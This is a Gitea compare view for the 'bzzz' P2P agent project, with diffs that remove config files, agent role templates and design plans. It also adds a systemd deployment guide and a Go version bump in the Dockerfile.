tony/bzzz
1
0
Fork 0
Code Issues 6 Pull Requests Actions Packages Projects Releases Wiki Activity

Compare commits

base: tony:feature/licensing-enforcement
Branches Tags
tony:main tony:feature/licensing-enforcement tony:hap-analysis tony:chorus-branding-update tony:bzzz-slurp-cooee-integration tony:feature/agent-roles-integration
..
compare: tony:f2dd0e8d6da55fa044db30312a9549fefe7a03f9
Branches Tags
tony:main tony:feature/licensing-enforcement tony:hap-analysis tony:chorus-branding-update tony:bzzz-slurp-cooee-integration tony:feature/agent-roles-integration

1 Commits
feature/li ... f2dd0e8d6d

Author SHA1 Message Date
anthonyrawlins
f2dd0e8d6d fix: Docker and import issues for CHORUS integration 
- Update Dockerfile to use Go 1.23 (was 1.21)
- Add missing config package imports to executor, github integration, and sandbox modules
- These fixes enable proper build for CHORUS Services Docker integration

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
 2025-08-01 10:04:36 +10:00
471 changed files with 2278 additions and 168023 deletions
Expand all files Collapse all files

137
.bzzz/config.yaml
View File

@@ -1,137 +0,0 @@
# BZZZ Configuration for 192-168-1-72
whoosh_api:
base_url: "https://whoosh.home.deepblack.cloud"
api_key: ""
timeout: 30s
retry_count: 3
agent:
id: "192-168-1-72-agent"
capabilities: ["general"]
poll_interval: 30s
max_tasks: 2
models: []
specialization: ""
model_selection_webhook: ""
default_reasoning_model: ""
sandbox_image: ""
role: ""
system_prompt: ""
reports_to: []
expertise: []
deliverables: []
collaboration:
preferred_message_types: []
auto_subscribe_to_roles: []
auto_subscribe_to_expertise: []
response_timeout_seconds: 0
max_collaboration_depth: 0
escalation_threshold: 0
custom_topic_subscriptions: []
github:
token_file: ""
user_agent: "BZZZ-Agent/1.0"
timeout: 30s
rate_limit: true
assignee: ""
p2p:
service_tag: "bzzz-peer-discovery"
bzzz_topic: "bzzz/coordination/v1"
hmmm_topic: "hmmm/meta-discussion/v1"
discovery_timeout: 10s
escalation_webhook: ""
escalation_keywords: []
conversation_limit: 10
logging:
level: "info"
format: "text"
output: "stdout"
structured: false
slurp:
enabled: false
base_url: ""
api_key: ""
timeout: 30s
retry_count: 3
max_concurrent_requests: 10
request_queue_size: 100
v2:
enabled: false
protocol_version: "2.0.0"
uri_resolution:
cache_ttl: 5m0s
max_peers_per_result: 5
default_strategy: "best_match"
resolution_timeout: 30s
dht:
enabled: false
bootstrap_peers: []
mode: "auto"
protocol_prefix: "/bzzz"
bootstrap_timeout: 30s
discovery_interval: 1m0s
auto_bootstrap: false
semantic_addressing:
enable_wildcards: true
default_agent: "any"
default_role: "any"
default_project: "any"
enable_role_hierarchy: true
feature_flags:
uri_protocol: false
semantic_addressing: false
dht_discovery: false
advanced_resolution: false
ucxl:
enabled: false
server:
port: 8081
base_path: "/bzzz"
enabled: false
resolution:
cache_ttl: 5m0s
enable_wildcards: true
max_results: 50
storage:
type: "filesystem"
directory: "/tmp/bzzz-ucxl-storage"
max_size: 104857600
p2p_integration:
enable_announcement: false
enable_discovery: false
announcement_topic: "bzzz/ucxl/announcement/v1"
discovery_timeout: 30s
security:
admin_key_shares:
threshold: 3
total_shares: 5
election_config:
heartbeat_timeout: 5s
discovery_timeout: 30s
election_timeout: 15s
max_discovery_attempts: 6
discovery_backoff: 5s
minimum_quorum: 3
consensus_algorithm: "raft"
split_brain_detection: true
conflict_resolution: "highest_uptime"
key_rotation_days: 90
audit_logging: false
audit_path: ""
ai:
ollama:
endpoint: ""
timeout: 30s
models: []
openai:
api_key: ""
endpoint: "https://api.openai.com/v1"
timeout: 30s

8
.bzzz/minimal-config.yaml
View File

@@ -1,8 +0,0 @@
whoosh_api:
base_url: "https://whoosh.home.deepblack.cloud"
agent:
capabilities:
- "general"
poll_interval: "30s"
max_tasks: 3

99
.bzzz/test-config.yaml
View File

@@ -1,99 +0,0 @@
# BZZZ Configuration for test
whoosh_api:
base_url: "https://whoosh.home.deepblack.cloud"
api_key: ""
timeout: 30s
retry_count: 3
agent:
id: "test-agent"
capabilities: ["general"]
poll_interval: 30s
max_tasks: 2
models: []
specialization: ""
model_selection_webhook: ""
default_reasoning_model: ""
sandbox_image: ""
role: ""
system_prompt: ""
reports_to: []
expertise: []
deliverables: []
collaboration:
preferred_message_types: []
auto_subscribe_to_roles: []
auto_subscribe_to_expertise: []
response_timeout_seconds: 0
max_collaboration_depth: 0
escalation_threshold: 0
custom_topic_subscriptions: []
github:
token_file: ""
user_agent: "BZZZ-Agent/1.0"
timeout: 30s
rate_limit: true
assignee: ""
p2p:
service_tag: "bzzz-peer-discovery"
bzzz_topic: "bzzz/coordination/v1"
hmmm_topic: "hmmm/meta-discussion/v1"
discovery_timeout: 10s
escalation_webhook: ""
escalation_keywords: []
conversation_limit: 10
logging:
level: "info"
format: "text"
output: "stdout"
structured: false
slurp:
enabled: false
base_url: ""
api_key: ""
timeout: 30s
retry_count: 3
max_concurrent_requests: 10
request_queue_size: 100
v2:
enabled: false
ucxl:
enabled: false
server:
port: 8081
base_path: "/bzzz"
enabled: false
security:
admin_key_shares:
threshold: 3
total_shares: 5
election_config:
heartbeat_timeout: 5s
discovery_timeout: 30s
election_timeout: 15s
max_discovery_attempts: 6
discovery_backoff: 5s
minimum_quorum: 3
consensus_algorithm: "raft"
split_brain_detection: true
conflict_resolution: "highest_uptime"
key_rotation_days: 90
audit_logging: false
audit_path: ""
ai:
ollama:
endpoint: ""
timeout: 30s
models: []
openai:
api_key: ""
endpoint: "https://api.openai.com/v1"
timeout: 30s

2
.env.mock
View File

@@ -1,2 +1,2 @@
BZZZ_WHOOSH_API_URL=http://localhost:5000
BZZZ_HIVE_API_URL=http://localhost:5000
BZZZ_LOG_LEVEL=debug

67
.gitignore vendored
View File

@@ -1,6 +1,5 @@
# Compiled binaries
# Binaries
bzzz
bzzz-*
*.exe
*.exe~
*.dll
@@ -12,16 +11,10 @@ bzzz-*
# Output of the go coverage tool
*.out
coverage.out
# Go workspace file
go.work
# Build artifacts
target/
dist/
build/
# IDE files
.vscode/
.idea/
@@ -35,65 +28,9 @@ build/
ehthumbs.db
Thumbs.db
# Logs and data
# Logs
*.log
logs/
data/chat-api-logs/
# Temporary files
*.tmp
*.temp
*~
*.bak
# Development artifacts
archived/
old-docs/
# Test artifacts
test/bzzz-*
test/*.sh
# Node.js and npm
node_modules/
npm-debug.log*
yarn-debug.log*
yarn-error.log*
.npm
.yarn-integrity
package-lock.json.bak
# Next.js build artifacts
.next/
out/
.vercel/
.turbo/
# Build and cache directories
dist/
build/
*.tsbuildinfo
.cache/
# Environment files
.env
.env.local
.env.development.local
.env.test.local
.env.production.local
# Runtime files
*.pid
*.pid.lock
# Coverage and testing
coverage/
.nyc_output/
.jest/
# Generated web assets (embedded files)
pkg/web/*.html
pkg/web/*.txt
pkg/web/assets/
pkg/web/_next/
pkg/web/404/

127
.ucxl/roles.yaml
View File

@@ -1,127 +0,0 @@
# UCXL Role Configuration for BZZZ Unified Architecture
project_name: "bzzz-unified-cluster"
version: "2.0.0"
created_at: 2025-01-08T00:00:00Z
updated_at: 2025-01-08T00:00:00Z
roles:
admin:
name: "SLURP Admin Agent"
authority_level: master
can_decrypt: ["*"]
prompt_template: "admin_agent.md"
model: "gpt-4o"
max_tasks: 10
capabilities:
- "context_curation"
- "decision_ingestion"
- "semantic_analysis"
- "key_reconstruction"
- "admin_election"
- "cluster_coordination"
special_functions:
- "slurp_functionality"
- "admin_election"
- "key_management"
- "consensus_coordination"
decision_scope:
- "system"
- "security"
- "architecture"
- "operations"
- "consensus"
auto_subscribe_to_roles:
- "senior_software_architect"
- "security_expert"
- "systems_engineer"
senior_software_architect:
name: "Senior Software Architect"
authority_level: decision
can_decrypt:
- "senior_software_architect"
- "backend_developer"
- "frontend_developer"
- "full_stack_engineer"
- "database_engineer"
prompt_template: "architect_agent.md"
model: "gpt-4o"
max_tasks: 5
capabilities:
- "task-coordination"
- "meta-discussion"
- "architecture"
- "code-review"
- "mentoring"
decision_scope:
- "architecture"
- "design"
- "technology_selection"
- "system_integration"
backend_developer:
name: "Backend Developer"
authority_level: suggestion
can_decrypt:
- "backend_developer"
prompt_template: "developer_agent.md"
model: "gpt-4o-mini"
max_tasks: 3
capabilities:
- "task-coordination"
- "meta-discussion"
- "backend"
- "api_development"
- "database_design"
decision_scope:
- "implementation"
- "code_structure"
observer:
name: "Observer Agent"
authority_level: read_only
can_decrypt:
- "observer"
prompt_template: "observer_agent.md"
model: "gpt-3.5-turbo"
max_tasks: 1
capabilities:
- "monitoring"
- "reporting"
decision_scope: []
security:
admin_key_shares:
threshold: 3
total_shares: 5
election_config:
heartbeat_timeout: 5s
discovery_timeout: 30s
election_timeout: 15s
max_discovery_attempts: 6
discovery_backoff: 5s
minimum_quorum: 3
consensus_algorithm: "raft"
split_brain_detection: true
conflict_resolution: "highest_uptime"
leadership_scoring:
uptime_weight: 0.4
capability_weight: 0.3
resource_weight: 0.2
network_weight: 0.1
experience_weight: 0.0
audit_logging: true
audit_path: ".ucxl/audit.log"
key_rotation_days: 90
global_settings:
default_role: "backend_developer"
default_key_size: 32
key_rotation_days: 90
decision_publishing:
auto_publish: false
required_votes: 2
voting_timeout_s: 300
publish_on_pr_merge: true
publish_on_issue: false
filter_ephemeral: true

40
.ucxl/templates/admin_agent.md
View File

@@ -1,40 +0,0 @@
# SLURP Admin Agent Prompt Template
You are a **BZZZ Admin Agent** with master authority level and SLURP context curation functionality.
## Authority & Responsibilities
- **Full system access** and SLURP context curation functionality
- **Can decrypt and analyze** all role-encrypted decisions across the cluster
- **Responsible for maintaining** global context graph and decision quality
- **Lead admin elections** and key reconstruction when needed
- **Coordinate distributed consensus** across the BZZZ cluster
## Decision Powers
- Create system-level architectural decisions
- Coordinate cross-team technical strategies
- Manage security and operational policies
- Oversee distributed key management
- Publish decisions to distributed DHT with UCXL addressing
## Special Functions
- **Context Curation**: Ingest and analyze decisions from all agents
- **Decision Ingestion**: Build global context graph from distributed decisions
- **Semantic Analysis**: Provide meaning and relationship analysis
- **Key Reconstruction**: Coordinate Shamir secret sharing for admin failover
- **Admin Election**: Manage consensus-based leadership elections
- **Cluster Coordination**: Ensure cluster health and coordination
## Communication Protocol
- Use UCXL addresses for all decision references: `ucxl://agent:role@project:task/timestamp/decision.json`
- Encrypt decisions with Age encryption based on authority level
- Participate in election heartbeat and consensus protocols
- Monitor cluster health and trigger elections when needed
## Context Access
You have access to encrypted context from ALL roles through your master authority level. Use this comprehensive view to:
- Identify patterns across distributed decisions
- Detect conflicts or inconsistencies
- Provide high-level strategic guidance
- Coordinate between different authority levels
Your decisions become part of the permanent distributed decision graph and influence the entire cluster's direction.

36
.ucxl/templates/architect_agent.md
View File

@@ -1,36 +0,0 @@
# Senior Software Architect Agent Prompt Template
You are a **BZZZ Senior Software Architect Agent** with decision authority.
## Authority & Responsibilities
- **Make strategic technical decisions** for project architecture
- **Design system components** and integration patterns
- **Guide technology selection** and architectural evolution
- **Coordinate with development teams** on implementation approaches
- **Report to admin agents** and product leadership
## Decision Powers
- Create architectural decisions using UCXL addresses: `ucxl://{{agent}}:architect@{{project}}/...`
- Access encrypted context from architect, developer, and observer roles
- Publish permanent decisions to the distributed decision graph
- Coordinate cross-team architectural initiatives
## Decision Scope
- Architecture and system design
- Technology selection and evaluation
- System integration patterns
- Performance and scalability requirements
## Authority Level: Decision
You can make **permanent decisions** that are published to the distributed DHT and become part of the project's decision history. Your decisions are encrypted with architect-level Age keys and accessible to:
- Other architects
- Development teams in your scope
- Admin/SLURP agents (for global analysis)
## Communication Protocol
- Use UCXL addressing for all decision references
- Encrypt decisions with Age using architect authority level
- Collaborate with developers for implementation insights
- Escalate to admin level for system-wide architectural changes
Use {{model}} for advanced architectural reasoning and design decisions. Your expertise should guide long-term technical strategy while coordinating effectively with implementation teams.

1046
BZZZ_HAP_PHASE1_TECHNICAL_SPECIFICATION.md
View File

File diff suppressed because it is too large Load Diff

245
DEPLOYMENT.md Normal file
View File

@@ -0,0 +1,245 @@
# Bzzz P2P Service Deployment Guide
This document provides detailed instructions for deploying Bzzz as a production systemd service across multiple nodes.
## Overview
Bzzz has been successfully deployed as a systemd service across the deepblackcloud cluster, providing:
- Automatic startup on boot
- Automatic restart on failure
- Centralized logging via systemd journal
- Security sandboxing and resource limits
- Full mesh P2P network connectivity
## Installation Steps
### 1. Build Binary
```bash
cd /home/tony/AI/projects/Bzzz
go build -o bzzz
```
### 2. Install Service
```bash
# Install as systemd service (requires sudo)
sudo ./install-service.sh
```
The installation script:
- Makes the binary executable
- Copies service file to `/etc/systemd/system/bzzz.service`
- Reloads systemd daemon
- Enables auto-start on boot
- Starts the service immediately
### 3. Verify Installation
```bash
# Check service status
sudo systemctl status bzzz
# View recent logs
sudo journalctl -u bzzz -n 20
# Follow live logs
sudo journalctl -u bzzz -f
```
## Current Deployment Status
### Cluster Overview
| Node | IP Address | Service Status | Node ID | Connected Peers |
|------|------------|----------------|---------|-----------------|
| **WALNUT** | 192.168.1.27 | ✅ Active | `12D3KooWEeVXdHkXtUp2ewzdqD56gDJCCuMGNAqoJrJ7CKaXHoUh` | 3 peers |
| **IRONWOOD** | 192.168.1.113 | ✅ Active | `12D3KooWFBSR...8QbiTa` | 3 peers |
| **ACACIA** | 192.168.1.xxx | ✅ Active | `12D3KooWE6c...Q9YSYt` | 3 peers |
### Network Connectivity
Full mesh P2P network established:
```
WALNUT (aXHoUh)
↕ ↕
↙ ↘
IRONWOOD ←→ ACACIA
(8QbiTa) (Q9YSYt)
```
- All nodes automatically discovered via mDNS
- Bidirectional connections established
- Capability broadcasts exchanged every 30 seconds
- Ready for distributed task coordination
## Service Management
### Basic Commands
```bash
# Start service
sudo systemctl start bzzz
# Stop service
sudo systemctl stop bzzz
# Restart service
sudo systemctl restart bzzz
# Check status
sudo systemctl status bzzz
# Enable auto-start (already enabled)
sudo systemctl enable bzzz
# Disable auto-start
sudo systemctl disable bzzz
```
### Logging
```bash
# View recent logs
sudo journalctl -u bzzz -n 50
# Follow live logs
sudo journalctl -u bzzz -f
# View logs from specific time
sudo journalctl -u bzzz --since "2025-07-12 19:00:00"
# View logs with specific priority
sudo journalctl -u bzzz -p info
```
### Troubleshooting
```bash
# Check if service is running
sudo systemctl is-active bzzz
# Check if service is enabled
sudo systemctl is-enabled bzzz
# View service configuration
sudo systemctl cat bzzz
# Reload service configuration (after editing service file)
sudo systemctl daemon-reload
sudo systemctl restart bzzz
```
## Service Configuration
### Service File Location
`/etc/systemd/system/bzzz.service`
### Key Configuration Settings
- **Type**: `simple` - Standard foreground service
- **User/Group**: `tony:tony` - Runs as non-root user
- **Working Directory**: `/home/tony/AI/projects/Bzzz`
- **Restart Policy**: `always` with 10-second delay
- **Timeout**: 30-second graceful stop timeout
### Security Settings
- **NoNewPrivileges**: Prevents privilege escalation
- **PrivateTmp**: Isolated temporary directory
- **ProtectSystem**: Read-only system directories
- **ProtectHome**: Limited home directory access
### Resource Limits
- **File Descriptors**: 65,536 (for P2P connections)
- **Processes**: 4,096 (for Go runtime)
## Network Configuration
### Port Usage
Bzzz automatically selects available ports for P2P communication:
- TCP ports in ephemeral range (32768-65535)
- IPv4 and IPv6 support
- Automatic port discovery and sharing via mDNS
### Firewall Considerations
For production deployments:
- Allow inbound TCP connections on used ports
- Allow UDP port 5353 for mDNS discovery
- Consider restricting to local network (192.168.1.0/24)
### mDNS Discovery
- Service Tag: `bzzz-peer-discovery`
- Network Scope: `192.168.1.0/24`
- Discovery Interval: Continuous background scanning
## Monitoring and Maintenance
### Health Checks
```bash
# Check P2P connectivity
sudo journalctl -u bzzz | grep "Connected to"
# Monitor capability broadcasts
sudo journalctl -u bzzz | grep "capability_broadcast"
# Check for errors
sudo journalctl -u bzzz -p err
```
### Performance Monitoring
```bash
# Resource usage
sudo systemctl status bzzz
# Memory usage
ps aux | grep bzzz
# Network connections
sudo netstat -tulpn | grep bzzz
```
### Maintenance Tasks
1. **Log Rotation**: Systemd handles log rotation automatically
2. **Service Updates**: Stop service, replace binary, restart
3. **Configuration Changes**: Edit service file, reload systemd, restart
## Uninstalling
To remove the service:
```bash
sudo ./uninstall-service.sh
```
This will:
- Stop the service if running
- Disable auto-start
- Remove service file
- Reload systemd daemon
- Reset any failed states
Note: Binary and project files remain intact.
## Deployment Timeline
- **2025-07-12 19:46**: WALNUT service installed and started
- **2025-07-12 19:49**: IRONWOOD service installed and started
- **2025-07-12 19:49**: ACACIA service installed and started
- **2025-07-12 19:50**: Full mesh network established (3 nodes)
## Next Steps
1. **Integration**: Connect with Hive task coordination system
2. **Monitoring**: Set up centralized monitoring dashboard
3. **Scaling**: Add additional nodes to expand P2P mesh
4. **Task Execution**: Implement actual task processing workflows

2
Dockerfile
View File

@@ -1,4 +1,4 @@
FROM golang:1.21-alpine AS builder
FROM golang:1.23-alpine AS builder
WORKDIR /app
COPY go.mod go.sum ./

228
HAP_ACTION_PLAN.md
View File

@@ -1,228 +0,0 @@
# BZZZ Human Agent Portal (HAP) — Implementation Action Plan
**Goal:**
Transform the existing BZZZ autonomous agent system into a dual-binary architecture supporting both autonomous agents and human agent portals using shared P2P infrastructure.
---
## 🔍 Current State Analysis
### ✅ What We Have
BZZZ currently implements a **comprehensive P2P autonomous agent system** with:
- **P2P Infrastructure**: libp2p mesh with mDNS discovery
- **Agent Identity**: Crypto-based agent records (`pkg/agentid/`)
- **Messaging**: HMMM collaborative reasoning integration
- **Storage**: DHT with role-based Age encryption
- **Addressing**: UCXL context resolution system (`pkg/ucxl/`)
- **Coordination**: SLURP task distribution (`pkg/slurp/`)
- **Configuration**: Role-based agent definitions
- **Web Interface**: Setup and configuration UI
### ⚠️ What's Missing
- **Multi-binary architecture** (currently single `main.go`)
- **Human interface layer** for message composition and interaction
- **HAP-specific workflows** (templated forms, prompts, context browsing)
---
## 📋 Implementation Phases
### Phase 1: Structural Reorganization (HIGH PRIORITY)
**Goal**: Split monolithic binary into shared runtime + dual binaries
#### Tasks:
- [ ] **1.1** Create `cmd/agent/main.go` (move existing `main.go`)
- [ ] **1.2** Create `cmd/hap/main.go` (new human portal entry point)
- [ ] **1.3** Extract shared initialization to `internal/common/runtime/`
- [ ] **1.4** Update `Makefile` to build both `bzzz-agent` and `bzzz-hap` binaries
- [ ] **1.5** Test autonomous agent functionality remains identical
**Key Changes:**
```
/cmd/
/agent/main.go # Existing autonomous agent logic
/hap/main.go # New human agent portal
/internal/common/
/runtime/ # Shared P2P, config, services initialization
agent.go
config.go
services.go
```
**Success Criteria:**
- Both binaries compile successfully
- `bzzz-agent` maintains all current functionality
- `bzzz-hap` can join P2P mesh as peer
### Phase 2: HAP Interface Implementation (MEDIUM PRIORITY)
**Goal**: Create human-friendly interaction layer
#### Tasks:
- [ ] **2.1** Implement basic terminal interface in `internal/hapui/terminal.go`
- [ ] **2.2** Create message composition templates for HMMM messages
- [ ] **2.3** Add context browsing interface for UCXL addresses
- [ ] **2.4** Implement justification prompts and metadata helpers
- [ ] **2.5** Test human agent can send/receive HMMM messages
**Key Components:**
```
/internal/hapui/
forms.go # Templated message composition
terminal.go # Terminal-based human interface
context.go # UCXL context browsing helpers
prompts.go # Justification and metadata prompts
```
**Success Criteria:**
- Human can compose and send HMMM messages via terminal
- Context browsing works for UCXL addresses
- HAP appears as valid agent to autonomous peers
### Phase 3: Enhanced Human Workflows (MEDIUM PRIORITY)
**Goal**: Add sophisticated human agent features
#### Tasks:
- [ ] **3.1** Implement patch creation and submission workflows
- [ ] **3.2** Add time-travel diff support (`~~`, `^^` operators)
- [ ] **3.3** Create collaborative editing interfaces
- [ ] **3.4** Add decision tracking and approval workflows
- [ ] **3.5** Implement web bridge for browser-based HAP interface
**Advanced Features:**
- Patch preview before submission to DHT
- Approval chains for architectural decisions
- Real-time collaboration on UCXL contexts
- WebSocket bridge to web UI for rich interface
**Success Criteria:**
- Humans can create and submit patches via HAP
- Approval workflows integrate with existing SLURP coordination
- Web interface provides richer interaction than terminal
### Phase 4: Integration & Optimization (LOW PRIORITY)
**Goal**: Polish and optimize the dual-agent system
#### Tasks:
- [ ] **4.1** Enhance `AgentID` structure to match HAP plan specification
- [ ] **4.2** Optimize resource usage for dual-binary deployment
- [ ] **4.3** Add comprehensive testing for human/machine agent interactions
- [ ] **4.4** Document HAP usage patterns and workflows
- [ ] **4.5** Create deployment guides for mixed agent teams
**Refinements:**
- Performance optimization for shared P2P layer
- Memory usage optimization when running both binaries
- Enhanced logging and monitoring for human activities
- Integration with existing health monitoring system
---
## 🧱 Architecture Alignment
### Current vs Planned Structure
| Component | Current Status | HAP Plan Status | Action Required |
|-----------|----------------|-----------------|-----------------|
| **Multi-binary** | ❌ Single `main.go` | Required | **Phase 1** restructure |
| **Agent Identity** | ✅ `pkg/agentid/` | ✅ Compatible | Minor enhancement |
| **HMMM Messages** | ✅ Integrated | ✅ Complete | None |
| **UCXL Context** | ✅ Full implementation | ✅ Complete | None |
| **DHT Storage** | ✅ Encrypted, distributed | ✅ Complete | None |
| **PubSub Comms** | ✅ Role-based topics | ✅ Complete | None |
| **HAP Interface** | ❌ Not implemented | Required | **Phase 2-3** |
### Shared Runtime Components
Both `bzzz-agent` and `bzzz-hap` will share:
- **P2P networking** and peer discovery
- **Agent identity** and cryptographic signing
- **HMMM message** validation and routing
- **UCXL address** resolution and context storage
- **DHT operations** for distributed state
- **Configuration system** and role definitions
**Only the execution loop and UI modality differ between binaries.**
---
## 🔧 Implementation Strategy
### Incremental Migration Approach
1. **Preserve existing functionality** - autonomous agents continue working
2. **Add HAP alongside** existing system rather than replacing
3. **Test continuously** - both binaries must interoperate correctly
4. **Gradual enhancement** - start with basic HAP, add features incrementally
### Key Principles
- **Backward compatibility**: Existing BZZZ deployments unaffected
- **Shared protocols**: Human and machine agents are indistinguishable on P2P mesh
- **Common codebase**: Maximum code reuse between binaries
- **Incremental delivery**: Each phase delivers working functionality
### Risk Mitigation
- **Comprehensive testing** after each phase
- **Feature flags** to enable/disable HAP features during development
- **Rollback capability** to single binary if needed
- **Documentation** of breaking changes and migration steps
---
## 📈 Success Metrics
### Phase 1 Success
- [ ] `make build` produces both `bzzz-agent` and `bzzz-hap` binaries
- [ ] Existing autonomous agent functionality unchanged
- [ ] Both binaries can join same P2P mesh
### Phase 2 Success
- [ ] Human can send HMMM messages via HAP terminal interface
- [ ] HAP appears as valid agent to autonomous peers
- [ ] Message composition templates functional
### Phase 3 Success
- [ ] Patch submission workflows complete
- [ ] Web interface provides rich HAP experience
- [ ] Human/machine agent collaboration demonstrated
### Overall Success
- [ ] Mixed teams of human and autonomous agents collaborate seamlessly
- [ ] HAP provides superior human experience compared to direct protocol interaction
- [ ] System maintains all existing performance and reliability characteristics
---
## 🎯 Next Steps
### Immediate Actions (This Sprint)
1. **Create cmd/ structure** and move main.go to cmd/agent/
2. **Stub cmd/hap/main.go** with basic P2P initialization
3. **Extract common runtime** to internal/common/
4. **Update Makefile** for dual binary builds
5. **Test agent binary** maintains existing functionality
### Short Term (Next 2-4 weeks)
1. **Implement basic HAP terminal interface**
2. **Add HMMM message composition**
3. **Test human agent P2P participation**
4. **Document HAP usage patterns**
### Medium Term (1-2 months)
1. **Add web bridge for browser interface**
2. **Implement patch workflows**
3. **Add collaborative features**
4. **Optimize performance**
---
## 📚 Resources & References
- **Original HAP Plan**: `archive/bzzz_hap_dev_plan.md`
- **Current Architecture**: `pkg/` directory structure
- **P2P Infrastructure**: `p2p/`, `pubsub/`, `pkg/dht/`
- **Agent Identity**: `pkg/agentid/`, `pkg/crypto/`
- **Messaging**: `pkg/hmmm_adapter/`, HMMM integration
- **Context System**: `pkg/ucxl/`, `pkg/ucxi/`
- **Configuration**: `pkg/config/`, role definitions
The current BZZZ implementation provides an excellent foundation for the HAP vision. The primary challenge is architectural restructuring rather than building new functionality from scratch.

470
LICENSING_DEVELOPMENT_PLAN.md
View File

@@ -1,470 +0,0 @@
# BZZZ Licensing Development Plan
**Date**: 2025-09-01
**Branch**: `feature/licensing-enforcement`
**Status**: Ready for implementation (depends on KACHING Phase 1)
**Priority**: HIGH - Revenue protection and license enforcement
## Executive Summary
BZZZ currently has **zero license enforcement** in production. The system collects license information during setup but completely ignores it at runtime, allowing unlimited unlicensed usage. This plan implements comprehensive license enforcement integrated with KACHING license authority.
## Current State Analysis
### ✅ Existing License Components
- License validation UI component (`install/config-ui/app/setup/components/LicenseValidation.tsx`)
- Terms and conditions acceptance (`install/config-ui/app/setup/components/TermsAndConditions.tsx`)
- Mock license validation endpoint (`main.go` lines 1584-1618)
- Test license key documentation (`TEST_LICENSE_KEY.txt`)
### ❌ Critical Security Gap
- **License data NOT saved to configuration** - Setup collects but discards license info
- **Zero runtime license validation** - System starts without any license checks
- **No integration with license server** - Mock validation only, no real enforcement
- **No cluster binding** - No protection against license sharing across multiple clusters
- **No license expiration checks** - Licenses never expire in practice
- **No feature restrictions** - All features available regardless of license tier
### Current Configuration Structure Gap
**Setup Config Missing License Data**:
```go
// api/setup_manager.go line 539 - SetupConfig struct
type SetupConfig struct {
Agent *AgentConfig `json:"agent"`
GitHub *GitHubConfig `json:"github"`
// ... other configs ...
// ❌ NO LICENSE FIELD - license data is collected but discarded!
}
```
**Main Config Missing License Support**:
```go
// pkg/config/config.go - Config struct
type Config struct {
Agent AgentConfig `yaml:"agent" json:"agent"`
GitHub GitHubConfig `yaml:"github" json:"github"`
// ... other configs ...
// ❌ NO LICENSE FIELD - runtime ignores licensing completely!
}
```
## Development Phases
### Phase 2A: Configuration System Integration (PRIORITY 1)
**Goal**: Make license data part of BZZZ configuration
#### 1. Update Configuration Structures
```go
// Add to pkg/config/config.go
type Config struct {
// ... existing fields ...
License LicenseConfig `yaml:"license" json:"license"`
}
type LicenseConfig struct {
ServerURL string `yaml:"server_url" json:"server_url"`
LicenseKey string `yaml:"license_key" json:"license_key"`
ClusterID string `yaml:"cluster_id" json:"cluster_id"`
Email string `yaml:"email" json:"email"`
OrganizationName string `yaml:"organization_name,omitempty" json:"organization_name,omitempty"`
// Runtime state (populated during activation)
Token string `yaml:"-" json:"-"` // Don't persist token to file
TokenExpiry time.Time `yaml:"-" json:"-"`
LicenseType string `yaml:"license_type,omitempty" json:"license_type,omitempty"`
MaxNodes int `yaml:"max_nodes,omitempty" json:"max_nodes,omitempty"`
Features []string `yaml:"features,omitempty" json:"features,omitempty"`
ExpiresAt time.Time `yaml:"expires_at,omitempty" json:"expires_at,omitempty"`
// Setup verification
ValidatedAt time.Time `yaml:"validated_at" json:"validated_at"`
TermsAcceptedAt time.Time `yaml:"terms_accepted_at" json:"terms_accepted_at"`
}
```
#### 2. Update Setup Configuration
```go
// Add to api/setup_manager.go SetupConfig struct
type SetupConfig struct {
// ... existing fields ...
License *LicenseConfig `json:"license"`
Terms *TermsAcceptance `json:"terms"`
}
type TermsAcceptance struct {
Agreed bool `json:"agreed"`
Timestamp time.Time `json:"timestamp"`
}
```
#### 3. Fix Setup Save Process
Currently in `generateAndDeployConfig()`, license data is completely ignored. Fix this:
```go
// api/setup_manager.go - Update generateAndDeployConfig()
func (sm *SetupManager) generateAndDeployConfig(setupData SetupConfig) error {
config := Config{
Agent: setupData.Agent,
GitHub: setupData.GitHub,
License: setupData.License, // ✅ ADD THIS - currently missing!
// ... other fields ...
}
// ... save to config file ...
}
```
### Phase 2B: License Validation Integration (PRIORITY 2)
**Goal**: Replace mock validation with KACHING license server
#### 1. Replace Mock License Validation
**Current (main.go lines 1584-1618)**:
```go
// ❌ REMOVE: Hardcoded mock validation
validLicenseKey := "BZZZ-2025-DEMO-EVAL-001"
if licenseRequest.LicenseKey != validLicenseKey {
// ... return error ...
}
```
**New KACHING Integration**:
```go
// ✅ ADD: Real license server validation
func (sm *SetupManager) validateLicenseWithKACHING(email, licenseKey, orgName string) (*LicenseValidationResponse, error) {
client := &http.Client{Timeout: 30 * time.Second}
reqBody := map[string]string{
"email": email,
"license_key": licenseKey,
"organization_name": orgName,
}
// Call KACHING license server
resp, err := client.Post(
sm.config.LicenseServerURL+"/v1/license/activate",
"application/json",
bytes.NewBuffer(jsonData),
)
// Parse response and return license details
// Store cluster_id for runtime use
}
```
#### 2. Generate and Persist Cluster ID
```go
func generateClusterID() string {
// Generate unique cluster identifier
// Format: bzzz-cluster-<uuid>-<hostname>
hostname, _ := os.Hostname()
clusterUUID := uuid.New().String()[:8]
return fmt.Sprintf("bzzz-cluster-%s-%s", clusterUUID, hostname)
}
```
### Phase 2C: Runtime License Enforcement (PRIORITY 3)
**Goal**: Enforce license validation during BZZZ startup and operation
#### 1. Add License Validation to Startup Sequence
**Current startup logic (main.go lines 154-169)**:
```go
func main() {
// ... config loading ...
if !cfg.IsValidConfiguration() {
startSetupMode(configPath)
return
}
// ✅ ADD LICENSE VALIDATION HERE - currently missing!
if err := validateLicenseForRuntime(cfg); err != nil {
fmt.Printf("❌ License validation failed: %v\n", err)
fmt.Printf("🔧 License issue detected, entering setup mode...\n")
startSetupMode(configPath)
return
}
// Continue with normal startup...
startNormalMode(cfg)
}
```
#### 2. Implement Runtime License Validation
```go
func validateLicenseForRuntime(cfg *Config) error {
if cfg.License.LicenseKey == "" {
return fmt.Errorf("no license key configured")
}
if cfg.License.ClusterID == "" {
return fmt.Errorf("no cluster ID configured")
}
// Check license expiration
if !cfg.License.ExpiresAt.IsZero() && time.Now().After(cfg.License.ExpiresAt) {
return fmt.Errorf("license expired on %v", cfg.License.ExpiresAt.Format("2006-01-02"))
}
// Attempt license activation with KACHING
client := NewLicenseClient(cfg.License.ServerURL)
token, err := client.ActivateLicense(cfg.License.LicenseKey, cfg.License.ClusterID)
if err != nil {
return fmt.Errorf("license activation failed: %w", err)
}
// Store token for heartbeat worker
cfg.License.Token = token.AccessToken
